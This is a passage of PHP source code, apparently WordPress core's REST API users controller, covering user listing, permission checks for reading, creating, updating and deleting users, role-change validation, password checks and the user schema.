			$prepared_args['offset'] = ( $request['page'] - 1 ) * $prepared_args['number'];
		}

		if ( isset( $registered['orderby'] ) ) {
			$orderby_possibles        = array(
				'id'              => 'ID',
				'include'         => 'include',
				'name'            => 'display_name',
				'registered_date' => 'registered',
				'slug'            => 'user_nicename',
				'include_slugs'   => 'nicename__in',
				'email'           => 'user_email',
				'url'             => 'user_url',
			);
			$prepared_args['orderby'] = $orderby_possibles[ $request['orderby'] ];
		}

		if ( isset( $registered['who'] ) && ! empty( $request['who'] ) && 'authors' === $request['who'] ) {
			$prepared_args['who'] = 'authors';
		} elseif ( ! current_user_can( 'list_users' ) ) {
			$prepared_args['has_published_posts'] = get_post_types( array( 'show_in_rest' => true ), 'names' );
		}

		if ( ! empty( $request['has_published_posts'] ) ) {
			$prepared_args['has_published_posts'] = ( true === $request['has_published_posts'] )
				? get_post_types( array( 'show_in_rest' => true ), 'names' )
				: (array) $request['has_published_posts'];
		}

		if ( ! empty( $prepared_args['search'] ) ) {
			if ( ! current_user_can( 'list_users' ) ) {
				$prepared_args['search_columns'] = array( 'ID', 'user_login', 'user_nicename', 'display_name' );
			}
			$search_columns         = $request->get_param( 'search_columns' );
			$valid_columns          = isset( $prepared_args['search_columns'] )
				? $prepared_args['search_columns']
				: array( 'ID', 'user_login', 'user_nicename', 'user_email', 'display_name' );
			$search_columns_mapping = array(
				'id'       => 'ID',
				'username' => 'user_login',
				'slug'     => 'user_nicename',
				'email'    => 'user_email',
				'name'     => 'display_name',
			);
			$search_columns         = array_map(
				static function ( $column ) use ( $search_columns_mapping ) {
					return $search_columns_mapping[ $column ];
				},
				$search_columns
			);
			$search_columns         = array_intersect( $search_columns, $valid_columns );
			if ( ! empty( $search_columns ) ) {
				$prepared_args['search_columns'] = $search_columns;
			}
			$prepared_args['search'] = '*' . $prepared_args['search'] . '*';
		}

		$is_head_request = $request->is_method( 'HEAD' );
		if ( $is_head_request ) {
			// Force the 'fields' argument. For HEAD requests, only user IDs are required.
			$prepared_args['fields'] = 'id';
		}
		/**
		 * Filters WP_User_Query arguments when querying users via the REST API.
		 *
		 * @link https://developer.wordpress.org/reference/classes/wp_user_query/
		 *
		 * @since 4.7.0
		 *
		 * @param array           $prepared_args Array of arguments for WP_User_Query.
		 * @param WP_REST_Request $request       The REST API request.
		 */
		$prepared_args = apply_filters( 'rest_user_query', $prepared_args, $request );

		$query = new WP_User_Query( $prepared_args );

		if ( ! $is_head_request ) {
			$users = array();

			foreach ( $query->get_results() as $user ) {
				if ( 'edit' === $request['context'] && ! current_user_can( 'edit_user', $user->ID ) ) {
					continue;
				}

				$data    = $this->prepare_item_for_response( $user, $request );
				$users[] = $this->prepare_response_for_collection( $data );
			}
		}

		$response = $is_head_request ? new WP_REST_Response( array() ) : rest_ensure_response( $users );

		// Store pagination values for headers then unset for count query.
		$per_page = (int) $prepared_args['number'];
		$page     = (int) ceil( ( ( (int) $prepared_args['offset'] ) / $per_page ) + 1 );

		$prepared_args['fields'] = 'ID';

		$total_users = $query->get_total();

		if ( $total_users < 1 ) {
			// Out-of-bounds, run the query without pagination/offset to get the total count.
			unset( $prepared_args['number'], $prepared_args['offset'] );

			$prepared_args['number'] = 1;
			$prepared_args['fields'] = 'ID';
			$count_query             = new WP_User_Query( $prepared_args );
			$total_users             = $count_query->get_total();
		}

		$response->header( 'X-WP-Total', (int) $total_users );

		$max_pages = (int) ceil( $total_users / $per_page );

		$response->header( 'X-WP-TotalPages', $max_pages );

		$base = add_query_arg( urlencode_deep( $request->get_query_params() ), rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) );
		if ( $page > 1 ) {
			$prev_page = $page - 1;

			if ( $prev_page > $max_pages ) {
				$prev_page = $max_pages;
			}

			$prev_link = add_query_arg( 'page', $prev_page, $base );
			$response->link_header( 'prev', $prev_link );
		}
		if ( $max_pages > $page ) {
			$next_page = $page + 1;
			$next_link = add_query_arg( 'page', $next_page, $base );

			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Get the user, if the ID is valid.
	 *
	 * @since 4.7.2
	 *
	 * @param int $id Supplied ID.
	 * @return WP_User|WP_Error True if ID is valid, WP_Error otherwise.
	 */
	protected function get_user( $id ) {
		$error = new WP_Error(
			'rest_user_invalid_id',
			__( 'Invalid user ID.' ),
			array( 'status' => 404 )
		);

		if ( (int) $id <= 0 ) {
			return $error;
		}

		$user = get_userdata( (int) $id );
		if ( empty( $user ) || ! $user->exists() ) {
			return $error;
		}

		if ( is_multisite() && ! is_user_member_of_blog( $user->ID ) ) {
			return $error;
		}

		return $user;
	}

	/**
	 * Checks if a given request has access to read a user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object.
	 */
	public function get_item_permissions_check( $request ) {
		$user = $this->get_user( $request['id'] );
		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$types = get_post_types( array( 'show_in_rest' => true ), 'names' );

		if ( get_current_user_id() === $user->ID ) {
			return true;
		}

		if ( 'edit' === $request['context'] && ! current_user_can( 'edit_user', $user->ID ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! current_user_can( 'edit_user', $user->ID ) && ! current_user_can( 'list_users' ) && ! count_user_posts( $user->ID, $types ) ) {
			return new WP_Error(
				'rest_user_cannot_view',
				__( 'Sorry, you are not allowed to list users.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves a single user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$user = $this->get_user( $request['id'] );
		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$user     = $this->prepare_item_for_response( $user, $request );
		$response = rest_ensure_response( $user );

		return $response;
	}

	/**
	 * Retrieves the current user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_current_item( $request ) {
		$current_user_id = get_current_user_id();

		if ( empty( $current_user_id ) ) {
			return new WP_Error(
				'rest_not_logged_in',
				__( 'You are not currently logged in.' ),
				array( 'status' => 401 )
			);
		}

		$user     = wp_get_current_user();
		$response = $this->prepare_item_for_response( $user, $request );
		$response = rest_ensure_response( $response );

		return $response;
	}

	/**
	 * Checks if a given request has access create users.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {

		if ( ! current_user_can( 'create_users' ) ) {
			return new WP_Error(
				'rest_cannot_create_user',
				__( 'Sorry, you are not allowed to create new users.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Creates a single user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		if ( ! empty( $request['id'] ) ) {
			return new WP_Error(
				'rest_user_exists',
				__( 'Cannot create existing user.' ),
				array( 'status' => 400 )
			);
		}

		$schema = $this->get_item_schema();

		if ( ! empty( $request['roles'] ) && ! empty( $schema['properties']['roles'] ) ) {
			$check_permission = $this->check_role_update( $request['id'], $request['roles'] );

			if ( is_wp_error( $check_permission ) ) {
				return $check_permission;
			}
		}

		$user = $this->prepare_item_for_database( $request );

		if ( is_multisite() ) {
			$ret = wpmu_validate_user_signup( $user->user_login, $user->user_email );

			if ( is_wp_error( $ret['errors'] ) && $ret['errors']->has_errors() ) {
				$error = new WP_Error(
					'rest_invalid_param',
					__( 'Invalid user parameter(s).' ),
					array( 'status' => 400 )
				);

				foreach ( $ret['errors']->errors as $code => $messages ) {
					foreach ( $messages as $message ) {
						$error->add( $code, $message );
					}

					$error_data = $error->get_error_data( $code );

					if ( $error_data ) {
						$error->add_data( $error_data, $code );
					}
				}
				return $error;
			}
		}

		if ( is_multisite() ) {
			$user_id = wpmu_create_user( $user->user_login, $user->user_pass, $user->user_email );

			if ( ! $user_id ) {
				return new WP_Error(
					'rest_user_create',
					__( 'Error creating new user.' ),
					array( 'status' => 500 )
				);
			}

			$user->ID = $user_id;
			$user_id  = wp_update_user( wp_slash( (array) $user ) );

			if ( is_wp_error( $user_id ) ) {
				return $user_id;
			}

			$result = add_user_to_blog( get_site()->id, $user_id, '' );
			if ( is_wp_error( $result ) ) {
				return $result;
			}
		} else {
			$user_id = wp_insert_user( wp_slash( (array) $user ) );

			if ( is_wp_error( $user_id ) ) {
				return $user_id;
			}
		}

		$user = get_user_by( 'id', $user_id );

		/**
		 * Fires immediately after a user is created or updated via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_User         $user     Inserted or updated user object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a user, false when updating.
		 */
		do_action( 'rest_insert_user', $user, $request, true );

		if ( ! empty( $request['roles'] ) && ! empty( $schema['properties']['roles'] ) ) {
			array_map( array( $user, 'add_role' ), $request['roles'] );
		}

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $user_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$user          = get_user_by( 'id', $user_id );
		$fields_update = $this->update_additional_fields_for_object( $user, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/**
		 * Fires after a user is completely created or updated via the REST API.
		 *
		 * @since 5.0.0
		 *
		 * @param WP_User         $user     Inserted or updated user object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a user, false when updating.
		 */
		do_action( 'rest_after_insert_user', $user, $request, true );

		$response = $this->prepare_item_for_response( $user, $request );
		$response = rest_ensure_response( $response );

		$response->set_status( 201 );
		$response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $user_id ) ) );

		return $response;
	}

	/**
	 * Checks if a given request has access to update a user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		$user = $this->get_user( $request['id'] );
		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( ! empty( $request['roles'] ) ) {
			if ( ! current_user_can( 'promote_user', $user->ID ) ) {
				return new WP_Error(
					'rest_cannot_edit_roles',
					__( 'Sorry, you are not allowed to edit roles of this user.' ),
					array( 'status' => rest_authorization_required_code() )
				);
			}

			$request_params = array_keys( $request->get_params() );
			sort( $request_params );
			/*
			 * If only 'id' and 'roles' are specified (we are only trying to
			 * edit roles), then only the 'promote_user' cap is required.
			 */
			if ( array( 'id', 'roles' ) === $request_params ) {
				return true;
			}
		}

		if ( ! current_user_can( 'edit_user', $user->ID ) ) {
			return new WP_Error(
				'rest_cannot_edit',
				__( 'Sorry, you are not allowed to edit this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Updates a single user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		$user = $this->get_user( $request['id'] );
		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$id = $user->ID;

		$owner_id = false;
		if ( is_string( $request['email'] ) ) {
			$owner_id = email_exists( $request['email'] );
		}

		if ( $owner_id && $owner_id !== $id ) {
			return new WP_Error(
				'rest_user_invalid_email',
				__( 'Invalid email address.' ),
				array( 'status' => 400 )
			);
		}

		if ( ! empty( $request['username'] ) && $request['username'] !== $user->user_login ) {
			return new WP_Error(
				'rest_user_invalid_argument',
				__( 'Username is not editable.' ),
				array( 'status' => 400 )
			);
		}

		if ( ! empty( $request['slug'] ) && $request['slug'] !== $user->user_nicename && get_user_by( 'slug', $request['slug'] ) ) {
			return new WP_Error(
				'rest_user_invalid_slug',
				__( 'Invalid slug.' ),
				array( 'status' => 400 )
			);
		}

		if ( ! empty( $request['roles'] ) ) {
			$check_permission = $this->check_role_update( $id, $request['roles'] );

			if ( is_wp_error( $check_permission ) ) {
				return $check_permission;
			}
		}

		$user = $this->prepare_item_for_database( $request );

		// Ensure we're operating on the same user we already checked.
		$user->ID = $id;

		$user_id = wp_update_user( wp_slash( (array) $user ) );

		if ( is_wp_error( $user_id ) ) {
			return $user_id;
		}

		$user = get_user_by( 'id', $user_id );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php */
		do_action( 'rest_insert_user', $user, $request, false );

		if ( ! empty( $request['roles'] ) ) {
			array_map( array( $user, 'add_role' ), $request['roles'] );
		}

		$schema = $this->get_item_schema();

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$user          = get_user_by( 'id', $user_id );
		$fields_update = $this->update_additional_fields_for_object( $user, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php */
		do_action( 'rest_after_insert_user', $user, $request, false );

		$response = $this->prepare_item_for_response( $user, $request );
		$response = rest_ensure_response( $response );

		return $response;
	}

	/**
	 * Checks if a given request has access to update the current user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
	 */
	public function update_current_item_permissions_check( $request ) {
		$request['id'] = get_current_user_id();

		return $this->update_item_permissions_check( $request );
	}

	/**
	 * Updates the current user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_current_item( $request ) {
		$request['id'] = get_current_user_id();

		return $this->update_item( $request );
	}

	/**
	 * Checks if a given request has access delete a user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		$user = $this->get_user( $request['id'] );
		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( ! current_user_can( 'delete_user', $user->ID ) ) {
			return new WP_Error(
				'rest_user_cannot_delete',
				__( 'Sorry, you are not allowed to delete this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Deletes a single user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		// We don't support delete requests in multisite.
		if ( is_multisite() ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'The user cannot be deleted.' ),
				array( 'status' => 501 )
			);
		}

		$user = $this->get_user( $request['id'] );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$id       = $user->ID;
		$reassign = false === $request['reassign'] ? null : absint( $request['reassign'] );
		$force    = isset( $request['force'] ) ? (bool) $request['force'] : false;

		// We don't support trashing for users.
		if ( ! $force ) {
			return new WP_Error(
				'rest_trash_not_supported',
				/* translators: %s: force=true */
				sprintf( __( "Users do not support trashing. Set '%s' to delete." ), 'force=true' ),
				array( 'status' => 501 )
			);
		}

		if ( ! empty( $reassign ) ) {
			if ( $reassign === $id || ! get_userdata( $reassign ) ) {
				return new WP_Error(
					'rest_user_invalid_reassign',
					__( 'Invalid user ID for reassignment.' ),
					array( 'status' => 400 )
				);
			}
		}

		$request->set_param( 'context', 'edit' );

		$previous = $this->prepare_item_for_response( $user, $request );

		// Include user admin functions to get access to wp_delete_user().
		require_once ABSPATH . 'wp-admin/includes/user.php';

		$result = wp_delete_user( $id, $reassign );

		if ( ! $result ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'The user cannot be deleted.' ),
				array( 'status' => 500 )
			);
		}

		$response = new WP_REST_Response();
		$response->set_data(
			array(
				'deleted'  => true,
				'previous' => $previous->get_data(),
			)
		);

		/**
		 * Fires immediately after a user is deleted via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_User          $user     The user data.
		 * @param WP_REST_Response $response The response returned from the API.
		 * @param WP_REST_Request  $request  The request sent to the API.
		 */
		do_action( 'rest_delete_user', $user, $response, $request );

		return $response;
	}

	/**
	 * Checks if a given request has access to delete the current user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_current_item_permissions_check( $request ) {
		$request['id'] = get_current_user_id();

		return $this->delete_item_permissions_check( $request );
	}

	/**
	 * Deletes the current user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_current_item( $request ) {
		$request['id'] = get_current_user_id();

		return $this->delete_item( $request );
	}

	/**
	 * Prepares a single user output for response.
	 *
	 * @since 4.7.0
	 * @since 5.9.0 Renamed `$user` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_User         $item    User object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$user = $item;

		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php */
			return apply_filters( 'rest_prepare_user', new WP_REST_Response( array() ), $user, $request );
		}

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( in_array( 'id', $fields, true ) ) {
			$data['id'] = $user->ID;
		}

		if ( in_array( 'username', $fields, true ) ) {
			$data['username'] = $user->user_login;
		}

		if ( in_array( 'name', $fields, true ) ) {
			$data['name'] = $user->display_name;
		}

		if ( in_array( 'first_name', $fields, true ) ) {
			$data['first_name'] = $user->first_name;
		}

		if ( in_array( 'last_name', $fields, true ) ) {
			$data['last_name'] = $user->last_name;
		}

		if ( in_array( 'email', $fields, true ) ) {
			$data['email'] = $user->user_email;
		}

		if ( in_array( 'url', $fields, true ) ) {
			$data['url'] = $user->user_url;
		}

		if ( in_array( 'description', $fields, true ) ) {
			$data['description'] = $user->description;
		}

		if ( in_array( 'link', $fields, true ) ) {
			$data['link'] = get_author_posts_url( $user->ID, $user->user_nicename );
		}

		if ( in_array( 'locale', $fields, true ) ) {
			$data['locale'] = get_user_locale( $user );
		}

		if ( in_array( 'nickname', $fields, true ) ) {
			$data['nickname'] = $user->nickname;
		}

		if ( in_array( 'slug', $fields, true ) ) {
			$data['slug'] = $user->user_nicename;
		}

		if ( in_array( 'roles', $fields, true ) && ( current_user_can( 'list_users' ) || current_user_can( 'edit_user', $user->ID ) ) ) {
			// Defensively call array_values() to ensure an array is returned.
			$data['roles'] = array_values( $user->roles );
		}

		if ( in_array( 'registered_date', $fields, true ) ) {
			$data['registered_date'] = gmdate( 'c', strtotime( $user->user_registered ) );
		}

		if ( in_array( 'capabilities', $fields, true ) ) {
			$data['capabilities'] = (object) $user->allcaps;
		}

		if ( in_array( 'extra_capabilities', $fields, true ) ) {
			$data['extra_capabilities'] = (object) $user->caps;
		}

		if ( in_array( 'avatar_urls', $fields, true ) ) {
			$data['avatar_urls'] = rest_get_avatar_urls( $user );
		}

		if ( in_array( 'meta', $fields, true ) ) {
			$data['meta'] = $this->meta->get_value( $user->ID, $request );
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'embed';

		$data = $this->add_additional_fields_to_object( $data, $request );
		$data = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $user ) );
		}

		/**
		 * Filters user data returned from the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_User          $user     User object used to create response.
		 * @param WP_REST_Request  $request  Request object.
		 */
		return apply_filters( 'rest_prepare_user', $response, $user, $request );
	}

	/**
	 * Prepares links for the user request.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_User $user User object.
	 * @return array Links for the given user.
	 */
	protected function prepare_links( $user ) {
		$links = array(
			'self'       => array(
				'href' => rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $user->ID ) ),
			),
			'collection' => array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			),
		);

		return $links;
	}

	/**
	 * Prepares a single user for creation or update.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return object User object.
	 */
	protected function prepare_item_for_database( $request ) {
		$prepared_user = new stdClass();

		$schema = $this->get_item_schema();

		// Required arguments.
		if ( isset( $request['email'] ) && ! empty( $schema['properties']['email'] ) ) {
			$prepared_user->user_email = $request['email'];
		}

		if ( isset( $request['username'] ) && ! empty( $schema['properties']['username'] ) ) {
			$prepared_user->user_login = $request['username'];
		}

		if ( isset( $request['password'] ) && ! empty( $schema['properties']['password'] ) ) {
			$prepared_user->user_pass = $request['password'];
		}

		// Optional arguments.
		if ( isset( $request['id'] ) ) {
			$prepared_user->ID = absint( $request['id'] );
		}

		if ( isset( $request['name'] ) && ! empty( $schema['properties']['name'] ) ) {
			$prepared_user->display_name = $request['name'];
		}

		if ( isset( $request['first_name'] ) && ! empty( $schema['properties']['first_name'] ) ) {
			$prepared_user->first_name = $request['first_name'];
		}

		if ( isset( $request['last_name'] ) && ! empty( $schema['properties']['last_name'] ) ) {
			$prepared_user->last_name = $request['last_name'];
		}

		if ( isset( $request['nickname'] ) && ! empty( $schema['properties']['nickname'] ) ) {
			$prepared_user->nickname = $request['nickname'];
		}

		if ( isset( $request['slug'] ) && ! empty( $schema['properties']['slug'] ) ) {
			$prepared_user->user_nicename = $request['slug'];
		}

		if ( isset( $request['description'] ) && ! empty( $schema['properties']['description'] ) ) {
			$prepared_user->description = $request['description'];
		}

		if ( isset( $request['url'] ) && ! empty( $schema['properties']['url'] ) ) {
			$prepared_user->user_url = $request['url'];
		}

		if ( isset( $request['locale'] ) && ! empty( $schema['properties']['locale'] ) ) {
			$prepared_user->locale = $request['locale'];
		}

		// Setting roles will be handled outside of this function.
		if ( isset( $request['roles'] ) ) {
			$prepared_user->role = false;
		}

		/**
		 * Filters user data before insertion via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param object          $prepared_user User object.
		 * @param WP_REST_Request $request       Request object.
		 */
		return apply_filters( 'rest_pre_insert_user', $prepared_user, $request );
	}

	/**
	 * Determines if the current user is allowed to make the desired roles change.
	 *
	 * @since 4.7.0
	 *
	 * @global WP_Roles $wp_roles WordPress role management object.
	 *
	 * @param int   $user_id User ID.
	 * @param array $roles   New user roles.
	 * @return true|WP_Error True if the current user is allowed to make the role change,
	 *                       otherwise a WP_Error object.
	 */
	protected function check_role_update( $user_id, $roles ) {
		global $wp_roles;

		foreach ( $roles as $role ) {

			if ( ! isset( $wp_roles->role_objects[ $role ] ) ) {
				return new WP_Error(
					'rest_user_invalid_role',
					/* translators: %s: Role key. */
					sprintf( __( 'The role %s does not exist.' ), $role ),
					array( 'status' => 400 )
				);
			}

			$potential_role = $wp_roles->role_objects[ $role ];

			/*
			 * Don't let anyone with 'edit_users' (admins) edit their own role to something without it.
			 * Multisite super admins can freely edit their blog roles -- they possess all caps.
			 */
			if ( ! ( is_multisite()
				&& current_user_can( 'manage_sites' ) )
				&& get_current_user_id() === $user_id
				&& ! $potential_role->has_cap( 'edit_users' )
			) {
				return new WP_Error(
					'rest_user_invalid_role',
					__( 'Sorry, you are not allowed to give users that role.' ),
					array( 'status' => rest_authorization_required_code() )
				);
			}

			// Include user admin functions to get access to get_editable_roles().
			require_once ABSPATH . 'wp-admin/includes/user.php';

			// The new role must be editable by the logged-in user.
			$editable_roles = get_editable_roles();

			if ( empty( $editable_roles[ $role ] ) ) {
				return new WP_Error(
					'rest_user_invalid_role',
					__( 'Sorry, you are not allowed to give users that role.' ),
					array( 'status' => 403 )
				);
			}
		}

		return true;
	}

	/**
	 * Check a username for the REST API.
	 *
	 * Performs a couple of checks like edit_user() in wp-admin/includes/user.php.
	 *
	 * @since 4.7.0
	 *
	 * @param string          $value   The username submitted in the request.
	 * @param WP_REST_Request $request Full details about the request.
	 * @param string          $param   The parameter name.
	 * @return string|WP_Error The sanitized username, if valid, otherwise an error.
	 */
	public function check_username( $value, $request, $param ) {
		$username = (string) $value;

		if ( ! validate_username( $username ) ) {
			return new WP_Error(
				'rest_user_invalid_username',
				__( 'This username is invalid because it uses illegal characters. Please enter a valid username.' ),
				array( 'status' => 400 )
			);
		}

		/** This filter is documented in wp-includes/user.php */
		$illegal_logins = (array) apply_filters( 'illegal_user_logins', array() );

		if ( in_array( strtolower( $username ), array_map( 'strtolower', $illegal_logins ), true ) ) {
			return new WP_Error(
				'rest_user_invalid_username',
				__( 'Sorry, that username is not allowed.' ),
				array( 'status' => 400 )
			);
		}

		return $username;
	}

	/**
	 * Check a user password for the REST API.
	 *
	 * Performs a couple of checks like edit_user() in wp-admin/includes/user.php.
	 *
	 * @since 4.7.0
	 *
	 * @param string          $value   The password submitted in the request.
	 * @param WP_REST_Request $request Full details about the request.
	 * @param string          $param   The parameter name.
	 * @return string|WP_Error The sanitized password, if valid, otherwise an error.
	 */
	public function check_user_password(
		#[\SensitiveParameter]
		$value,
		$request,
		$param
	) {
		$password = (string) $value;

		if ( empty( $password ) ) {
			return new WP_Error(
				'rest_user_invalid_password',
				__( 'Passwords cannot be empty.' ),
				array( 'status' => 400 )
			);
		}

		if ( str_contains( $password, '\\' ) ) {
			return new WP_Error(
				'rest_user_invalid_password',
				sprintf(
					/* translators: %s: The '\' character. */
					__( 'Passwords cannot contain the "%s" character.' ),
					'\\'
				),
				array( 'status' => 400 )
			);
		}

		return $password;
	}

	/**
	 * Retrieves the user's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'user',
			'type'       => 'object',
			'properties' => array(
				'id'                 => array(
					'description' => __( 'Unique identifier for the user.' ),
					'type'        => 'integer',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'username'           => array(
					'description' => __( 'Login name for the user.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
					'required'    => true,
					'arg_options' => array(
						'sanitize_callback' => array( $this, 'check_username' ),
					),
				),
				'name'               => array(
					'description' => __( 'Display name for the user.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => 'sanitize_text_field',
					),
				),
				'first_name'         => array(
					'description' => __( 'First name for the user.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => 'sanitize_text_field',
					),
				),
				'last_name'          => array(
					'description' => __( 'Last name for the user.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => 'sanitize_text_field',
					),
				),
				'email'              => array(
					'description' => __( 'The email address for the user.' ),
					'type'        => 'string',
					'format'      => 'email',
					'context'     => array( 'edit' ),
					'required'    => true,
				),
				'url'                => array(
					'description' => __( 'URL of the user.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'embed', 'view', 'edit' ),
				),
				'description'        => array(
					'description' => __( 'Description of the user.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
				),
				'link'               => array(
					'description' => __( 'Author URL of the user.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'locale'             => array(
					'description' => __( 'Locale for the user.' ),
					'type'        => 'string',
					'enum'        => array_merge( array( '', 'en_US' ), get_available_languages() ),
					'context'     => array( 'edit' ),
				),
				'nickname'           => array(
					'description' => __( 'The nickname for the user.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => 'sanitize_text_field',
					),
				),
				'slug'               => array(
					'description' => __( 'An alphanumeric identifier for the user.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => array( $this, 'sanitize_slug' ),
					),
				),
				'registered_date'    => array(
					'description' => __( 'Registration date for the user.' ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'roles'              => array(
					'description' => __( 'Roles assigned to the user.' ),
					'type'        => 'array',
					'items'       => array(
						'type' => 'string',
					),
					'context'     => array( 'edit' ),
				),
				'password'           => array(
					'description' => __( 'Password for the user (never included).' ),
					'type'        => 'string',
					'context'     => array(), // Password is never displayed.
					'required'    => true,
					'arg_options' => array(
						'sanitize_callback' => array( $this, 'check_user_password' ),
					),
				),
				'capabilities'       => array(
					'description' => __( 'All capabilities assigned to the user.' ),
